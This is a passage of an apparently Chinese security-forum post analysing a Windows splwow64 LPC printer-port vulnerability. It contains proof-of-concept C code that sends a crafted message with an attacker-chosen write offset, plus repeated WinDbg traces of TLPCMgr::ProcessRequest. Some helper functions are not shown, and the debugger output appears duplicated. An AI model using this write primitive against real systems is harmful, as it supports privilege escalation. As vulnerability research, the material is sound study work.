bool WriteData(HANDLE portHandle, UINT64 offset, UCHAR* buf, UINT64 size)
{
        *((UINT64*)ClientView.ViewBase + 0xB) = offset;
        *((UINT64*)ClientView.ViewBase + 0x10A) = size << 48;
        memcpy(ClientView.ViewBase + 0x810, buf, size);
 
        DebugWrite();
 
        return NtRequestWaitReplyPort(portHandle, &LpcRequest, &LpcReply) == 0;
 
}
 
int main()
{
 
        Init();
        CHAR Path[0x100];
        GetCurrentDirectoryA(sizeof(Path), Path);
        PathAppendA(Path, "CreateDC.exe");
        if (!(PathFileExistsA(Path)))
        {
                return 0;
        }
        WinExec(Path, 0);
 
        CreateDCW(L"Microsoft XPS Document Writer", L"Microsoft XPS Document Writer", NULL, NULL);
 
        UNICODE_STRING portName;
        if (!GetPortName(&portName))
        {
                return 0;
        }
 
        HANDLE portHandle = CreatePortSharedBuffer(&portName);
        if (!(portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase))
        {
                return 0;
        }
 
        PrepareMessage();
 
        printf("Press [Enter] to continue . . .");
        fflush(stdout);
        getchar();
        UINT64 value = 0;
        if (!WriteData(portHandle, 0x4141414141414141, (UCHAR*)&value, 8))
        {
                return 0;
        }
 
        printf("Done\n");
 
        return 0;
}
 
 
 
 
0:009> bu splwow64!TLPCMgr::ProcessRequest
0:009> bu gdi32full!GdiPrinterThunk
0:009> g
Breakpoint 0 hit
splwow64!TLPCMgr::ProcessRequest:
00007ff7`0bf176ac 48895c2418      mov     qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90
0:007> r
rax=0000000000000000 rbx=0000000000d7ca90 rcx=0000000000d756f0
rdx=0000000000d7cac0 rsi=0000000000d7cac0 rdi=0000000000d786a0
rip=00007ff70bf176ac rsp=000000000279f3c8 rbp=0000000000b6a478
 r8=000000000279f328  r9=0000000000b6a478 r10=0000000000000000
r11=0000000000000244 r12=000000007ffe03b0 r13=000000000000022c
r14=0000000000d78778 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
splwow64!TLPCMgr::ProcessRequest:
00007ff7`0bf176ac 48895c2418      mov     qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90
0:009> bu splwow64!TLPCMgr::ProcessRequest
0:009> bu gdi32full!GdiPrinterThunk
0:009> g
Breakpoint 0 hit
splwow64!TLPCMgr::ProcessRequest:
00007ff7`0bf176ac 48895c2418      mov     qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90
0:007> r
rax=0000000000000000 rbx=0000000000d7ca90 rcx=0000000000d756f0
rdx=0000000000d7cac0 rsi=0000000000d7cac0 rdi=0000000000d786a0
rip=00007ff70bf176ac rsp=000000000279f3c8 rbp=0000000000b6a478
 r8=000000000279f328  r9=0000000000b6a478 r10=0000000000000000
r11=0000000000000244 r12=000000007ffe03b0 r13=000000000000022c
r14=0000000000d78778 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
splwow64!TLPCMgr::ProcessRequest:
00007ff7`0bf176ac 48895c2418      mov     qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90
 
 
 
 
0:007>
splwow64!TLPCMgr::ProcessRequest+0x6e:
00007ff7`0bf1771a 66833f20        cmp     word ptr [rdi],20h ds:00000000`00d7cac0=0020
0:007>
splwow64!TLPCMgr::ProcessRequest+0x72:
00007ff7`0bf1771e 418bef          mov     ebp,r15d
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x75:
00007ff7`0bf17721 418bdf          mov     ebx,r15d
0:007>
splwow64!TLPCMgr::ProcessRequest+0x78:
00007ff7`0bf17724 41be57000000    mov     r14d,57h
0:007>
splwow64!TLPCMgr::ProcessRequest+0x7e:
00007ff7`0bf1772a 7523            jne     splwow64!TLPCMgr::ProcessRequest+0xa3 (00007ff7`0bf1774f) [br=0]
0:007>
splwow64!TLPCMgr::ProcessRequest+0x80:
00007ff7`0bf1772c 4d397d48        cmp     qword ptr [r13+48h],r15 ds:00000000`00d75738={GDI32!GdiPrinterThunk (00007ffa`c8e48eb0)} //判断GDI32!GdiPrinterThunk指针
0:007>
splwow64!TLPCMgr::ProcessRequest+0x84:
00007ff7`0bf17730 741d            je      splwow64!TLPCMgr::ProcessRequest+0xa3 (00007ff7`0bf1774f) [br=0]
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x86:
00007ff7`0bf17732 8b5f28          mov     ebx,dword ptr [rdi+28h] ds:00000000`00d7cae8=00000088
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x89:
00007ff7`0bf17735 8d43f0          lea     eax,[rbx-10h]
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x8c:
00007ff7`0bf17738 3defff0f00      cmp     eax,0FFFEFh
0:007> r eax
eax=78
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x91:
00007ff7`0bf1773d 0f8737030000    ja      splwow64!TLPCMgr::ProcessRequest+0x3ce (00007ff7`0bf17a7a) [br=0]
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x97:
00007ff7`0bf17743 8bcb            mov     ecx,ebx
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x99:
00007ff7`0bf17745 e8de430000      call    splwow64!operator new[] (00007ff7`0bf1bb28)
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x9e:
00007ff7`0bf1774a 488bf0          mov     rsi,rax
0:007> r
rax=0000000000d785e0 rbx=0000000000000088 rcx=000000007ffe0380
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000d7cac0
rip=00007ff70bf1774a rsp=000000000279f2e0 rbp=0000000000000000
 r8=0000000000000000  r9=0000000000000001 r10=0000000000d70000
r11=000000000279f250 r12=00007ff70bf22048 r13=0000000000d756f0
r14=0000000000000057 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
splwow64!TLPCMgr::ProcessRequest+0x9e:
00007ff7`0bf1774a 488bf0          mov     rsi,rax
0:007>
splwow64!TLPCMgr::ProcessRequest+0x6e:
00007ff7`0bf1771a 66833f20        cmp     word ptr [rdi],20h ds:00000000`00d7cac0=0020
0:007>
splwow64!TLPCMgr::ProcessRequest+0x72:
00007ff7`0bf1771e 418bef          mov     ebp,r15d
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x75:
00007ff7`0bf17721 418bdf          mov     ebx,r15d
0:007>
splwow64!TLPCMgr::ProcessRequest+0x78:
00007ff7`0bf17724 41be57000000    mov     r14d,57h
0:007>
splwow64!TLPCMgr::ProcessRequest+0x7e:
00007ff7`0bf1772a 7523            jne     splwow64!TLPCMgr::ProcessRequest+0xa3 (00007ff7`0bf1774f) [br=0]
0:007>
splwow64!TLPCMgr::ProcessRequest+0x80:
00007ff7`0bf1772c 4d397d48        cmp     qword ptr [r13+48h],r15 ds:00000000`00d75738={GDI32!GdiPrinterThunk (00007ffa`c8e48eb0)} //判断GDI32!GdiPrinterThunk指针
0:007>
splwow64!TLPCMgr::ProcessRequest+0x84:
00007ff7`0bf17730 741d            je      splwow64!TLPCMgr::ProcessRequest+0xa3 (00007ff7`0bf1774f) [br=0]
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x86:
00007ff7`0bf17732 8b5f28          mov     ebx,dword ptr [rdi+28h] ds:00000000`00d7cae8=00000088
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x89:
00007ff7`0bf17735 8d43f0          lea     eax,[rbx-10h]
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x8c:
00007ff7`0bf17738 3defff0f00      cmp     eax,0FFFEFh
0:007> r eax
eax=78
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x91:
00007ff7`0bf1773d 0f8737030000    ja      splwow64!TLPCMgr::ProcessRequest+0x3ce (00007ff7`0bf17a7a) [br=0]
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x97:
00007ff7`0bf17743 8bcb            mov     ecx,ebx
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x99:
00007ff7`0bf17745 e8de430000      call    splwow64!operator new[] (00007ff7`0bf1bb28)
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x9e:

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

最后于 2021-7-5 17:30 被天玄SecLab编辑 ,原因: 标题文字有重复,修改标题
收藏
免费 4
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回